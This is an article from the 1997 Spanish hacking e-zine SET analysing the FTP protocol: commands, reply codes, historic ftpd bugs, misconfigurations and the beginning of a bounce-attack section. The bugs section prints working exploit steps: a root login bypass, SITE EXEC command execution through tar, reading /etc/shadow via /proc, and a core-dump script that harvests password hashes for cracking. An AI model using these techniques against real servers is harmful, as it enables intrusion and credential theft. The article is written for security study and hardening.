TOP
AutoresTOTAL
LecturasSET 11
78801 visitas
- Contenidos - SET Staff
- Editorial - Editor
- Noticias - SET Staff
- Panorama del hack espa~ol - SET Staff
- Telefonia Movil Celular (TMA 900-A) - Falken
- Unix Internet Daemons - Net-Yonkie
- Entendiendo el trafico NFS - Paseante
- Colaboraciones y Peticiones - SET Staff
- Analisis y seguridad del protocolo FTP - Duke de Sicilia
- Backdoors - Hades
- Firewalls y Proxys (y III) - Paseante
- La voz del lector - SET Staff
- Los bugs del mes - Varios
- Despedida - Editor
Analisis y seguridad del protocolo FTP
Autor: Duke de Sicilia
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII o 09. ANALISIS Y SEGURIDAD DEL PROTOCOLO FTP o IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII V 1.0á Julio del 97 ======================== Por El Duke de Sicilia ======================== 1. CONTENIDOS --------------- 1. Contenidos 2. Presentacion 3. Introduccion 3.A. Funcionamiento 3.B. Representacion de los datos 3.C. Estructuras de datos 4. Comandos 4.A. Indice de comandos y sintaxis basica 4.B. Descripcion de los comandos basicos 4.C. El comando SITE 5. Mensajes de respuesta 6. Bugs de distintas versiones 7. Defectos de configuracion 8. El ataque del salto (Bounce attack) 8.A. Traer ficheros de un servidor al que no tenemos acceso 8.B. Problemas 8.C. Correo intraceable 9. Consejos de seguridad para administradores 10. Notas finales y bibliografia 11. Despedida 2. PRESENTACION ----------------- Hace mas de seis meses cuando empece a escribir este articulo, el uso del protocolo FTP ya habia empezado a decaer... La fuerte irrupcion de la www, el aumento del numero de servidores NT y las nuevas versiones simplificadas (o limitadas) de software para ftpd, estaban acabando con el antiguo espiritu de este protocolo. Esto ha hecho que haya tardado mas de lo normal en terminar el articulo, y haberlo tenido colgado unos cuantos meses. Pero estas ultimas semanas he estado experimentando en Infovia una tecnica de salto a traves de servidores FTP y me he dado cuenta de que muchos servidores aun usan versiones antiquisimas del ftpd o que su configuracion es pesima. Esto me ha vuelto a animar en la tarea de terminar este texto, y como veis este es el resultado. (60k de texto) Tal vez algunas de las informaciones de este texto se hayan quedado anticuadas en estos ultimos meses y solo sirvan para versiones antiguas del software de ftpd, pero como he dicho muchos servidores aun usan estas versiones. El articulo esta especialmente orientado a administradores de sistemas Unix con el ftpd instalado, y a personas acostumbradas al manejo de sistemas Unix e interesadas en temas de seguridad. Como cualquier articulo sobre seguridad contiene informacion que puede ser util para posibles intrusos en sistemas inseguros. Espero que esto no se produzca y que el texto sirva para evitar la existencia de estos sistemas inseguros. 3. INTRODUCCION ----------------- El estandar FTP se creo principalmente para cubrir estos objetivos: -Promover el intercambio de ficheros. -Aumentar el uso de ordenadores remotos. -Proteger al usuario de variaciones en los sistemas de almacenamiento usados por los distintos servidores. -Transmitir datos de una forma eficiente. Actualmente con el auge de la web, el FTP esta siendo relegado al uso de una minoria, pero sus objetivos originales siguen siendo cumplidos sobradamente, con posibilidades que todavia la web no ha conseguido superar. De hecho muchos de los servidores que ofrecen hospedaje de paginas web usan el protocolo FTP para subir y actualizar estas paginas. A pesar de su veterania, los servicios que ofrece todavia son utiles para cualquier usuario de internet o de cualquier otra red tcp/ip. Yo personalmente recomiendo su uso como una forma mas de aprovechar internet. (Internet no es solo la web) 3.A. FUNCIONAMIENTO --------------------- No voy a profundizar demasiado en los aspectos tecnicos del funcionamiento del FTP, solo voy a dar un par de ideas necesarias. El estandar FTP usa dos conexiones: -Por un lado esta la conexion de control, que se establece normalmente en el puerto 21 y que es una conexion telnet normal. A traves de esta conexion se envian las ordenes al proveedor y se reciben los mensajes de respuesta de este. -Por otro lado esta la conexion de datos, normalmente en el puerto 20. A traves de esta conexion se envian y reciben los ficheros que se transfieren. 3.B. REPRESENTACION DE LOS DATOS (tipos de datos) --------------------------------------------------- ASCII - Este es el tipo de dato por defecto. EBCDIC - Usado entre hosts que usan el EBCDIC para sus transferencias internas. IMAGE - Los datos son enviados como bits continuos, se podria definir como transmision binaria. LOCAL - Los datos son transferidos en bytes logicos del tama€o especificado en el segundo parametro. FORMAT CONTROL - Los tipos ASCII y EBCDIC toman tambien un segundo parametro opcional. Este indica que tipo de control de formato vertical usan: NON PRINT - Valor por defecto. El fichero no contiene ningun control de formato vertical. TELNET FORMAT CONTROLS - El fichero contiene los controles de formato vertical ANSI/EBCDIC. Los mas habituales son: <CR>, <LF>, <NL>, <VT> y <FF>. CARRIAGE CONTROL (ASA) - El fichero contiene controles de formato vertical tipo ASA (fortran). 3.C. ESTRUCTURAS DE DATOS (de ficheros) ----------------------------------------- file-structure - Es el valor por defecto. No hay estructura interna, el fichero se considera como una secuencia continua de bytes. record-structure - El fichero esta hecho de marcas secuenciales. (se usa para ficheros de texto) page-structure - El fichero esta constituido de paginas indexadas independientes. 4. COMANDOS ------------- Los usuarios de sistemas operativos graficos (windoze) estan acostumbrados a que los programas de conexion a servidores FTP, sean de un manejo muy sencillo, y muchas veces incluso se usa para acceder a estos servidores los navegadores usados para la web, limitando mucho las capacidades de uso del FTP. (Ya que este tipo de programas usan un numero limitado de comandos al acceder al servidor de FTP y realizan todas las tareas de forma automatica sin dejar al usuario interactuar.) Este tipo de usuarios no llega a apreciar la potencia de uso que tienen los programas de FTP que permiten el uso directo de comandos, ya que estos programas pueden aprovechar al 100% las muchas posibilidades que ofrece un servidor FTP (Entre ella esta, como no, la posibilidad de hackear el sistema) Ya que dejan que su navegador realice todo el trabajo por ellos. Por eso si se pretende un conocimiento amplio del funcionamiento de los servidores de FTP se necesita conocer y usar estos comandos. La mejor manera de acceder a un servidor FTP mediante comandos es usar el programa de acceso que viene por defecto en la mayoria (si no en todos) de los unix, aunque hay varios programas que funcionan bajo DOS o bajo Windows que permiten tambien el uso de comandos. 4.A. INDICE DE COMANDOS Y SINTAXIS BASICA ------------------------------------------- Aqui va una lista de la mayoria de los comandos y su sintaxis: USER <SP> <username> <CRLF> PASS <SP> <password> <CRLF> ACCT <SP> <account-information> <CRLF> CWD <SP> <pathname> <CRLF> CDUP <CRLF> SMNT <SP> <pathname> <CRLF> QUIT <CRLF> REIN <CRLF> PORT <SP> <host-port> <CRLF> PASV <CRLF> TYPE <SP> <type-code> <CRLF> STRU <SP> <structure-code> <CRLF> MODE <SP> <mode-code> <CRLF> RETR <SP> <pathname> <CRLF> STOR <SP> <pathname> <CRLF> STOU <CRLF> APPE <SP> <pathname> <CRLF> ALLO <SP> <decimal-integer> [<SP> R <SP> <decimal-integer>] <CRLF> REST <SP> <marker> <CRLF> RNFR <SP> <pathname> <CRLF> RNTO <SP> <pathname> <CRLF> ABOR <CRLF> DELE <SP> <pathname> <CRLF> RMD <SP> <pathname> <CRLF> MKD <SP> <pathname> <CRLF> PWD <CRLF> LIST [<SP> <pathname>] <CRLF> NLST [<SP> <pathname>] <CRLF> SITE <SP> <string> <CRLF> SYST <CRLF> STAT [<SP> <pathname>] <CRLF> HELP [<SP> <string>] <CRLF> NOOP <CRLF> Esta lista esta expresada siguiendo el formato estandar establecido en el RFC 959. (Tambien es el formato que usa la propia ayuda del ftpd) Es facil de comprender, pero si alguien se lia, esto le puede ayudar un poco: <username> = <string> <password> = <string> <account-information> = <string> <string> = <char> = <char><string> <char> = any of the 128 ASCII characters except <CR> and <LF> <marker> = <pr-string> <pr-string> = <pr-char> = <pr-char><pr-string> <pr-char> = printable characters, any ASCII code 33 through 126 <byte-size> = <number> <host-port> = <host-number>,<port-number> <host-number> = <number>,<number>,<number>,<number> <port-number> = <number>,<number> <number> = any decimal integer 1 through 255 <form-code> = N = T = C <type-code> = A [<sp> <form-code>] = E [<sp> <form-code>] = I = L <sp> <byte-size> <structure-code> = F = R = P <mode-code> = S = B = C <pathname> = <string> <decimal-integer> = any decimal integer <SP> = espacio <CRLF> = retorno de carro [...] = los parametros entre corchetes son optativos 4.B. DESCRIPCION DE LOS COMANDOS BASICOS ------------------------------------------ Y ahora una breve explicacion de que hace cada comando: ( USER ) USER NAME - Nombre de usuario. Normalmente es el primer comando transmitido. Es una cadena en la que se especifica el nombre de login. En ftp-anonimo suele ser 'anonymous' o 'ftp' ( PASS ) PASSWORD - Clave de acceso. Debe ir precedido por el comando USER. En ftp-anonimo suele valer cualquier cadena, aunque algunos sistemas modernos rechazan cadenas extra€as. ( ACCT ) ACCOUNT - Cuenta de usuario. No suele usarse. En algunos sistemas se usa para accesos especiales. ( CWD ) CHANGE WORKING DIRECTORY - cambiar de directorio. Sirve como el nombre indica para moverse entre los directorios. Tiene un funcionamiento similar al 'cd' del MS-DOS. (Por ejemplo 'CWD <SP> <..> <CRLF>' hace el mismo efecto que un 'cd..' en el dos) ( CDUP ) CHANGE TO PARENT DIRECTORY - Volver al directorio padre. Descender un nivel en arbol de directorios. (Igual que 'CWD <SP> <..> <CRLF>') ( SMNT ) STRUCTURE MOUNT - Montar estructura. Permite a un usuario 'montar' un sistema de ficheros diferente sin alterar su login. ( REIN ) REINITIALIZE - Reinicializar. Termina la conexion hecha por USER y devuelve el sistema a un estado similar al que se encuentra cuando la conexion se abre. ( QUIT ) LOGOUT - Salir. Termina la conexion echa por USER y cierra todas las conexiones. ( PORT ) DATA PORT - Especifica un puerto del Host para ser usado en la conexion de datos. ( PASV ) PASSIVE - Este comando ordena al servidor DTP que preste su atencion a un puerto de datos que no es el puerto por defecto y que espere una conexion. ( TYPE ) REPRESENTATION TYPE - Especifica el tipo de representacion de los datos. (Algunos sistemas pueden aceptar un segundo parametro) Los codigos posibles son: Primer parametro Segundo parametro - A - ASCII --> - N - Non-print --> - T - Telnet format effectors - E - EBCDIC --> - C - Carriage Control (ASA) ^^^Solo estos dos aceptan segundo parametro - I - Image - L <byte size> - Local byte Byte size ( STRU ) FILE STRUCTURE - Especifica la estructura de ficheros. Los codigos asignados para cada estructura son: F - File (no record structure) R - Record structure P - Page structure ( MODE ) TRANSFER MODE - Especifica el modo de transferencia de datos. Los modos son: S - Stream B - Block C - Compressed ( RETR ) RETRIEVE - Este comando indica al servidor que transfiera una copia de un fichero al usuario. (Sirve para bajarse ficheros) ( STOR ) STORE - Este comando hace que el servidor acepte los datos transferidos y que los almacene en un fichero. (Sirve para subir un fichero) ( STOU ) STORE UNIQUE - Similar a STOR escepto que el fichero creado debe tener un nombre unico para ese directorio. (No puede sobreescribir archivos existentes) ( APPE ) APPEND - Similar a STOR, pero si el fichero ya existe los datos se almacenaran al final del archivo, sin sobreescribir el fichero original. ( ALLO ) ALLOCATE - Este comando es requerido por algunos servidores para reservar el suficiente espacio para recibir un nuevo fichero. Debe ir seguido de un comando STOR o APPE. ( REST ) RESTART - Le indica al servidor el indicador de lugar en el cual la transferencia de un fichero debe ser continuada. Debe ir seguido de un comando apropiado para que la transferencia continue. ( RNFR ) RENAME FROM - Indica el nombre del fichero a renombrar. Debe ir acompa€ado del comando RNTO. ( RNTO ) RENAME TO - Indica el nuevo nombre del fichero especificado en RNFR. La combinacion de los dos comandos hace que el fichero sea renombrado. Ejemplo / para renombrar el fichero archivo.original a nuevo.nombre se haria: usuario> RNFR archivo.original ftp.server> 350 Requested file action pending further information. usuario> RNTO nuevo.nombre ftp.sever> 250 Requested file action okay, completed. ( ABOR ) ABORT - Le indica al servidor que aborte el comando anteior y las tranferencias de datos asociadas. ( DELE ) DELETE - Este comando hace que el fichero especificado sea borrado del servidor. ( RMD ) REMOVE DIRECTORY - Borra el directorio especificado. ( MKD ) MAKE DIRECTORY - Crea un directorio con el nombre especificado. ( PWD ) PRINT WORKING DIRECTORY - Este comando genera una respuesta que indica el directorio de trabajo actual. ( LIST ) LIST - Este comando hace que un listado del directorio especificado sea enviado al usuario. ( NLST ) NAME LIST - Este comando causa un listado del directorio, pero en el que solo se incluyen una lista de nombre de ficheros. (Menos detallado que el comando LIST) ( SITE ) SITE PARAMETERS - Este comando es usado por el servidor para proveer servicios especificos al sistema que son esenciales, pero no suficientemente universales para ser incluidos como comandos en el estandar del protocolo. ( SYST ) SYSTEM - Sirve para mostrar el tipo de sistema operativo del servidor. ( STAT ) STATUS - Este comando causa una respuesta a traves de la conexion de control que contiene informacion sobre el estatus de la operacion en progreso o sobre el propio sistema. ( HELP ) HELP - Muestra informacion de ayuda acerca de los comandos que acepta el servidor y los parametros que usa cada comando. (Usando la misma sintaxis que he usado yo en el apartado anterior) Ejemplo / resultado del comando HELP sin argumentos 214-The following commands are recognized (* =>'s unimplemented). USER PORT STOR MSAM* RNTO NLST MKD CDUP PASS PASV APPE MRSQ* ABOR SITE XMKD XCUP ACCT* TYPE MLFL* MRCP* DELE SYST RMD STOU SMNT* STRU MAIL* ALLO CWD STAT XRMD SIZE REIN* MODE MSND* REST XCWD HELP PWD MDTM QUIT RETR MSOM* RNFR LIST NOOP XPWD ( NOOP ) NOOP - Este comando no afecta al funcionamiento del servidor, lo unico que hace es enviar una respuesta de comprobacion "OK" (No hace nada) Hay algunos comandos mas que estan bastante extendidos, pero por no ser estandares no los voy a explicar. Si alguien tiene alguna duda sobre algun comando que aqui no aparece, que me envie un mensaje para que lo incluya en proximas revisiones de este documento. 4.C. EL COMANDO SITE ---------------------- El potente comado SITE como ya he explicado permite al servidor incluir acciones que no estan establecidas en los comandos estandares. Estas acciones pueden variar de un sistema a otro y en algunos servidores el comado SITE esta desactivado. (Se€alado con un asterisco, cuando se usa el comando HELP) Pero en general estas acciones son muy potentes y muy utiles en el manejo del servidor, pero a su vez pueden dar demasiadas ventajas a un posible hacker. Por eso le dedico un apartado especial a este comando y voy a explicar brevemente las variantes del comando, que son mas extendidas o mas utiles. Aun asi explicare mas en profundidad algunos de estos comados mas adelante. ( SITE EXEC ) SITE EXECUTE - Este comando, tal vez sea el mas util y a la vez el mas peligroso comando disponible en un servidor FTP. Este comando permite ejecutar binarios (ejecutables, valga la redundancia) en el propio servidor. ( SITE HELP ) SITE HELP - Al igual que el HELP normal, muestra la lista de comandos disponibles, en este caso muestra los comandos SITE disponibles. Ejemplo / 214-The following SITE commands are recognized (* =>'s unimplemented). UMASK CHMOD GROUP NEWER INDEX ALIAS GROUPS IDLE HELP GPASS MINFO EXEC CDPATH ( SITE CHMOD ) SITE CHMOD - Similar al comando chmod de unix. Permite cambiar las propiedades (el modo) de acceso de un fichero determinado. El resto de comandos SITE son facilmente deducibles, por su nombre o por los parametros que admite. (SITE HELP <comando>) 5. MENSAJES DE RESPUESTA -------------------------- Normalmente los mensajes que recibireis del servidor de FTP seran estos: (Clasificados por orden numerico) 110 Restart marker reply. 120 Service ready in nnn minutes. 125 Data connection already open; transfer starting. 150 File status okay; about to open data connection. 200 Command okay. 202 Command not implemented, superfluous at this site. 211 System status, or system help reply. 212 Directory status. 213 File status. 214 Help message. 215 NAME system type. 220 Service ready for new user. 221 Service closing control connection. 225 Data connection open; no transfer in progress. 226 Closing data connection. 227 Entering Passive Mode (h1,h2,h3,h4,p1,p2). 230 User logged in, proceed. 250 Requested file action okay, completed. 257 "PATHNAME" created. 331 User name okay, need password. 332 Need account for login. 350 Requested file action pending further information. 421 Service not available, closing control connection. 425 Can't open data connection. 426 Connection closed; transfer aborted. 450 Requested file action not taken. 451 Requested action aborted: local error in processing. 452 Requested action not taken. 500 Syntax error, command unrecognized. 501 Syntax error in parameters or arguments. 502 Command not implemented. 503 Bad sequence of commands. 504 Command not implemented for that parameter. 530 Not logged in. 532 Need account for storing files. 550 Requested action not taken. 551 Requested action aborted: page type unknown. 552 Requested file action aborted. 553 Requested action not taken. Y estas son las situaciones mas normales donde os apareceran estos mensajes: -Establecimiento de la conexion- 120 220 421 -Entrada- USER 230 530 500, 501, 421 331, 332 PASS 230 202 530 500, 501, 503, 421 332 ACCT 230 202 530 500, 501, 503, 421 CWD 250 500, 501, 502, 421, 530, 550 CDUP 200 500, 501, 502, 421, 530, 550 SMNT 202, 250 500, 501, 502, 421, 530, 550 -Salida- REIN 120 220 220 421 500, 502 QUIT 221 500 -Parametros de la transeferecia- PORT 200 500, 501, 421, 530 PASV 227 500, 501, 502, 421, 530 MODE 200 500, 501, 504, 421, 530 TYPE 200 500, 501, 504, 421, 530 STRU 200 500, 501, 504, 421, 530 -Comandos de uso de ficheros- ALLO 200 202 500, 501, 504, 421, 530 REST 500, 501, 502, 421, 530 350 STOR 125, 150 (110) 226, 250 425, 426, 451, 551, 552 532, 450, 452, 553 500, 501, 421, 530 STOU 125, 150 (110) 226, 250 425, 426, 451, 551, 552 532, 450, 452, 553 500, 501, 421, 530 RETR 125, 150 (110) 226, 250 425, 426, 451 450, 550 500, 501, 421, 530 LIST 125, 150 226, 250 425, 426, 451 450 500, 501, 502, 421, 530 NLST 125, 150 226, 250 425, 426, 451 450 500, 501, 502, 421, 530 APPE 125, 150 (110) 226, 250 425, 426, 451, 551, 552 532, 450, 550, 452, 553 500, 501, 502, 421, 530 RNFR 450, 550 500, 501, 502, 421, 530 350 RNTO 250 532, 553 500, 501, 502, 503, 421, 530 DELE 250 450, 550 500, 501, 502, 421, 530 RMD 250 500, 501, 502, 421, 530, 550 MKD 257 500, 501, 502, 421, 530, 550 PWD 257 500, 501, 502, 421, 550 ABOR 225, 226 500, 501, 502, 421 -Comandos informativos- SYST 215 500, 501, 502, 421 STAT 211, 212, 213 450 500, 501, 502, 421, 530 HELP 211, 214 500, 501, 502, 421 -Otros comandos- SITE 200 202 500, 501, 530 NOOP 200 500 421 6. BUGS DE LAS DISTINTAS VERSIONES ------------------------------------ Al contrario de lo que se suele pensar, el software usado en los servidores FTP en su historia no ha tenido demasiados bugs, comparandolo con otros servicios. Sin embargo debido a que es uno de los servicios que los hackers han usado habitualmente para entrar en un sistema, se ha extendido la idea de que este software es inseguro. Excepto un par de famosos y muy usados bugs, la mayoria de los agujeros de seguridad que usan los hackers para atacar el sevidor de FTP no son bugs sino que son generalmente defectos de configuracion, por lo que son estos defectos de configuracion en los que mas nos vamos a fijar en este archivo. Aun asi, no hay que olvidar los bugs. Aqui va una recopilacion de los bugs mas conocidos de los distintos daemons de FTP que han existido a lo largo de su historia: ---------------------------------------- BUG: Usando el comando CWD en el login se puede conseguir entrar con nivel de root. Este bug es uno de los historicos y dudo que funcione todavia en algun sitio pero merece la pena mencionarlo ya que permitio grandes hackeos en el pasado. Gracias a este simple bug, cualquier usuario externo podia entrar en la maquina como root. % ftp -n ftp> open victima.es 220 victima FTP server ready ftp> quote user ftp 331 Guest login ok, send ident as password ftp> quote cwd ~root ----> Aqui esta la clave del asunto con esta simple linea se conseguia entrar como root. 530 Please log with USER and PASS ftp> quote pass ftp 230 Guest login ok. acces restrition apply. ftp> Y ya esta, estamos dentro!! y con nivel de root. ---------------------------------------- BUG: Problemas de configuracion por defecto en el wu-ftpd. Algunos binarios precompilados del wu-ftpd-2.4 distribuidos con linux, tienen una configuracion vulnerable. Este defecto no afecta a otras distribuciones, solo se da en algunas versiones precompiladas para linux. El error en los binarios precompilados consistia en un error en la configuracion de la variable _PATH_EXECPATH que estaba seleccionada como "/bin" y que deberia ser "/bin/ftp-exec". Esto hacia, que cualquier usuario del servidor de FTP, pudiese ejecutar con el SITE EXEC los binarios del directorio /bin en vez de los del directorio /bin/ftp-exec que son los que le corresponden. Debido a este problema, los usuarios del sistema pueden utilizar los binarios del directorio /bin y conseguir nivel de root. Para detectar el defecto, simplemente probamos si podemos ejecutar algun binario del directorio /bin con la orden SITE EXEC. usuario> SITE EXEC echo hola:-) 200-echo hola:-) 200-hola:-) 200 (end of 'echo hola:-)') Si recibimos la linea hola:-), quiere decir que podemos ejecutar el binario "echo" y que tenemos acceso de ejecucion al directorio /bin. ---------------------------------------- BUG: Posibilidades "extra" del gnu tar. Algunas versiones del gnu tar (compresor-descompresor) que a menudo se usan en los servidores de FTP y que son de libre ejecucion por cualquier usuario mediante site exec (incluido anonimos) tienen una posibilidad 'extra' :) ya que permiten ejecutar cualquier binario especificado. SITE EXEC tar -c -v --rsh-command=comando_a_ejecutar -f somebox:foo foo ---------------------------------------- BUG: Usando el wu-ftpd podemos ver el shadow password. El bug afecta a las versiones menos recientes del wu-ftpd instaladas en sistemas que usan shadow passwords. Usuarios locales usando el problema de seguridad originado por /proc y que hace que los ficheros abiertos no sean vueltos a cerrar, pueden tener acceso al fichero: /etc/shadow Aqui teneis el log del exploit facilitado por Marek Michalkiewicz: marekm@i17linuxa:~$ ftp -n localhost Connected to localhost. 220 i17linuxa FTP server (Version wu-2.4(2) Thu Jun 1 20:05:10 MET DST 1995) ready. ftp> user marekm 331 Password required for marekm. Password: 230 User marekm logged in. ftp> ^Z [1]+ Stopped ftp -n localhost marekm@i17linuxa:~$ ps uwx USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND marekm 15510 0.0 5.4 384 384 pp6 S 14:32 0:01 -bash marekm 15808 0.2 2.2 29 156 pp6 S 15:09 0:00 script marekm 15809 0.1 2.3 29 168 pp6 S 15:09 0:00 script marekm 15810 1.3 6.7 377 472 pp4 S 15:09 0:00 bash -i marekm 15811 0.7 3.9 113 276 pp4 T 15:09 0:00 ftp -n localhost marekm 15812 2.0 7.1 157 500 con S 15:09 0:00 -localhost: marekm:IDLE marekm 15816 0.0 3.1 64 224 pp4 R 15:10 0:00 ps uwx marekm@i17linuxa:~$ ls -al /proc/15812/fd total 0 dr-x------ 2 marekm users 0 Jun 9 15:10 . dr-xr-xr-x 4 marekm users 0 Jun 9 15:10 .. lrwx------ 1 marekm users 64 Jun 9 15:10 0 -> [0000]:0 lrwx------ 1 marekm users 64 Jun 9 15:10 1 -> [0000]:0 l-wx------ 1 marekm users 64 Jun 9 15:10 10 -> [0301]:4623 l-wx------ 1 marekm users 64 Jun 9 15:10 11 -> [0301]:4624 l-wx------ 1 marekm users 64 Jun 9 15:10 2 -> [0301]:10404 lrwx------ 1 marekm users 64 Jun 9 15:10 3 -> [0000]:0 lrwx------ 1 marekm users 64 Jun 9 15:10 4 -> [0000]:0 lr-x------ 1 marekm users 64 Jun 9 15:10 5 -> [0301]:38392 lr-x------ 1 marekm users 64 Jun 9 15:10 6 -> [0301]:8567 lrwx------ 1 marekm users 64 Jun 9 15:10 7 -> [0301]:34549 lr-x------ 1 marekm users 64 Jun 9 15:10 8 -> [0301]:8569 lr-x------ 1 marekm users 64 Jun 9 15:10 9 -> [0301]:32007 marekm@i17linuxa:~$ ls -i /etc/shadow 32007 /etc/shadow marekm@i17linuxa:~$ cat /proc/15812/fd/9 [ snip - I don't want everyone to see my /etc/shadow :-) ] marekm@i17linuxa:~$ fg ftp -n localhost 221 Goodbye. marekm@i17linuxa:~$ exit Creo que queda claro el mecanismo. Si a alguien le parece interesante que comente con mas detalle el proceso que me mande un mensaje y en la proxima version incluire la explicacion. ---------------------------------------- BUG: El comando SITE EXEC permite ejecutar setuid shells. Simplemente creamos un setuid shell y lo ejecutamos mediante la orden SITE EXEC. El bug afecta a versiones antiguas de ftpd. ---------------------------------------- BUG: El core dump de algunas versiones de ftpd puede contener passwords. Un core dump puede ser originado en el wu-ftpd (y en otros daemons) de estas formas: -Cuando se ejecuta el comando PASV mientras el usuario no esta logeado. -Cuando se introducen mas 100 argumentos para algun comando ejecutable. Este volcado de la memoria del ftpd puede contener passwords de usuarios anteriores, o si usamos esta tecnica explicada por jcea podemos ir sacando los passwords usuario por usuario: =================== El FTP de la universidad de Washington (WU-FTP), conocido por todos, tiene un notable bug (al menos hasta la version academy) que ocasiona un "core dump" Si tenemos una cuenta de usuario podemos hacer lo siguiente: a) Creamos un fichero ejecutable en nuestra cuenta, "z", con lo siguiente: \rm z2 echo open ftp>z2 echo user $1 xx>>z2 echo quote pasv >>z2 echo quit>>z2 ftp -n -i <z2 rm z2 strings /core>z2 b) Escogemos un usuario y escribimos "z usuario". c) Tras unos segundos, se nos mostrara una pantalla "more" d) Tecleamos "/usuario" y vamos pulsando "n" hasta encontrar un fragmento del fichero de claves donde se encuentra el usuario en cuestion. e) Cut & Paste f) Repetimos el proceso con otros usuarios g) John the ripper *** *** Explicacion: *** El script indicado antes provoca un core del demonio de FTP. Dicho core se graba como root en el directorio /. Se puede hacer que lo grabe en nuestro directorio raiz introduciendo nuestro login y passwd, pero eso deja logs muy comprometedores. Seguidamente se extraen las cadenas ASCII del core y se busca las que nos interesan. Las claves se almacenan en forma criptada, por lo que puede parecer que no ganamos nada, pero este sistema nos permite obtener una copia del fichero shadow de claves, normalmente inaccesible. Si no sabeis que hacer con el luego, mejor dedicaros a cultivar margaritas :). Los resultados varian mucho en funcion del sistema operativo y la version de la libc que se emplee. En algunos casos se recupera el fichero shadow entero. En otros vamos pillando de cuatro en cuatro kbytes, por ejemplo. Jugad un poco con el y ved que sale. *** *** Solucion: Instalar el WU-FTP Academy (el ultimo) o cambiar de daemon *** =================== Con esta explicacion queda mas o menos aclarado el tema, si alguien necesita mas datos que los pida y los incluire en el proximo numero. ---------------------------------------- Ya se que hay mas... pero no he tenido tiempo (ni ganas) para ponerme a buscarlos. Si tengo tiempo en la proxima edicion tal vez incluya mas bugs y exploits. Tambien publicare con mucho gusto cualquier bug que me mandeis por correo. 7. DEFECTOS DE CONFIGURACION ------------------------------ El software de ftpd a pesar de estar muy estandarizado (La mayoria de los sistemas usa el wu-ftpd) y de no ser de una configuracion muy dificil, ha sido tradicionalmente uno de los servicios peor configurados. Actualmente cualquier administrador por muy pocos conocimientos que tenga, sabe como configurar de forma segura un servidor FTP, debido a los muchos a€os que lleva funcionando el estandar FTP. Esto ha hecho que haya sido muy estudiado y que este muy documentado. Aun asi sigue habiendo un porcentaje alto (dentro de lo que cabe) de servidores FTP mal configurados. Voy a tratar los errores mas comunes y luego en la seccion de consejos de seguridad liquidare el tema. 1. El principal error de configuracion es la incorrecta asginacion de los propietarios (owners) de los ficheros y directorios: ---------------------------------------- drwxrwxrwx 8 ftp ftp 512 Jul 16 17:41 . drwxrwxrwx 8 ftp ftp 512 Jul 16 17:41 .. -r--r--r-- 1 ftp ftp 16 Jun 11 1996 .forward -r--r--r-- 1 ftp ftp 46 May 23 1996 .message lrwxrwxrwx 1 ftp ftp 7 Apr 14 20:27 bin -> usr/bin dr-xr-xr-x 2 ftp ftp 512 Jan 22 1996 dev dr-xr-xr-x 2 ftp ftp 512 Jul 16 1996 etc lrwxrwxrwx 1 ftp ftp 12 Feb 14 1996 incoming -> pub/incoming dr-xr-x--- 12 ftp ftp 512 Jul 16 17:41 priv dr-xr-xr-x 8 ftp ftp 1024 Mar 1 02:35 pub dr-xr-xr-x 4 ftp ftp 512 Feb 19 1996 usr -->Aunque parezca mentira este listado es de un ftp real... El admistrador tendra suerte si no le pasa nada. ---------------------------------------- La principal idea al configurar estos atributos es esta: -Cuando un usuario externo entra en un servidor ftp como anonimo (anonymous) entra como usuario 'ftp' por lo tanto cualquier archivo poseido por ftp esta a su total disposicion. Es decir puede borrarlo, ejecutarlo, cambiar sus propiedades, introducir un troyano, etc... Y no solo basta con la configuracion de las correctas propiedades de acceso ya que con la orden SITE CHMOD se pueden cambiar al gusto del usuario. Este riesgo es muy grande y aunque puede ser evitado prohibiendo la ejecucion de comandos SITE la mejor solucion es asignar al usuario ftp el menor numero de ficheros y directorios posibles y por supuesto nunca, NUNCA poner el directorio raiz del servidor ftp en posesion de este usuario. Ademas para mas seguridad los archivos importantes, el directorio raiz, etc... deben estar asignados al root. 2. Otro problema muy habitual y bastante relacionado con el anterior es la mala asignacion de las propiedades (permisos) de acceso de los ficheros y directorios. ---------------------------------------- dr-x--x--x 7 ftp ftp 512 Jul 16 1996 . dr-x--x--x 7 ftp ftp 512 Jul 16 1996 .. -r--r--r-- 1 root root 16 Jun 11 1996 .forward -r--r--r-- 1 root root 46 May 23 1996 .message lrwxrwxrwx 1 ftp ftp 8 Feb 14 1996 bin -> /usr/bin dr-xr-xr-x 2 root ftp 512 Jan 22 1996 dev dr-xr-xr-x 2 root ftp 512 Jul 16 1996 etc lrwxrwxrwx 1 ftp ftp 12 Feb 14 1996 incoming -> pub/incoming d--x--x--x 7 root ftpriv 512 Sep 25 17:35 priv dr-xr-xr-x 12 ftp ftp 1024 Feb 12 13:05 pub dr-xr-xr-x 4 ftp ftp 512 Feb 19 1996 usr --> Otro ejemplo de site vulnerable. Como veis el directorio raiz pertenece al usuario ftp. ---------------------------------------- No solo basta con hacer que el usuario ftp no posea ningun fichero importante sino que hay que hacer que no pueda acceder o modificar los archivos de otros usuarios. Nunca otorgar acceso de escritura al usuario ftp en ningun fichero o directorio, excepto en los directorios que obligatoriamente lo requieran, como /incoming o /upload pero con mucho cuidado. En los directorios donde se permitan uploads se debe limitar la lectura para evitar posibles downloads, y la creacion de un site para warez por ejemplo. ==================== drwxrwxr-x 2 ftp ftp 512 May 15 12:49 %23.. drwxrwxr-x 2 ftp ftp 512 May 15 16:36 . drwxrwxrwx 5 ftp ftp 1024 Jul 17 12:41 . dr-xr-xr-x 8 ftp ftp 1024 Mar 1 02:35 .. drwxrwxr-x 4 ftp ftp 512 Jul 10 20:49 Phase3 -rw-rw-r-- 1 ftp ftp 284 Jul 17 12:41 mail.txt --> Como veis este es un directorio /incoming mal configurado. Los directorios: Phase3, %23 y ' .' son directorios creados para el intercambio de warez. El fichero mail.txt es el fichero de instrucciones para enviar correo intraceable explicado en el proximo apartado. ==================== Sobre todo hay que tener mucho cuidado con los ficheros .rhosts y .forward asignadolos siempre al root, y con estrictos permisos. 8. EL ATAQUE DEL SALTO (BOUNCE ATTACK) ---------------------------------------- El ataque del salto o mas conocido como Bounce attack, es un tipo de uso poco ortodoxo de un servidor de FTP, pero que no se puede clasificar ni como bug ni como defecto de configuracion. Basicamente el ataque consiste en hacer que el servidor FTP reciba y envie informacion de una forma poco normal y que puede permitirnos realizar acciones 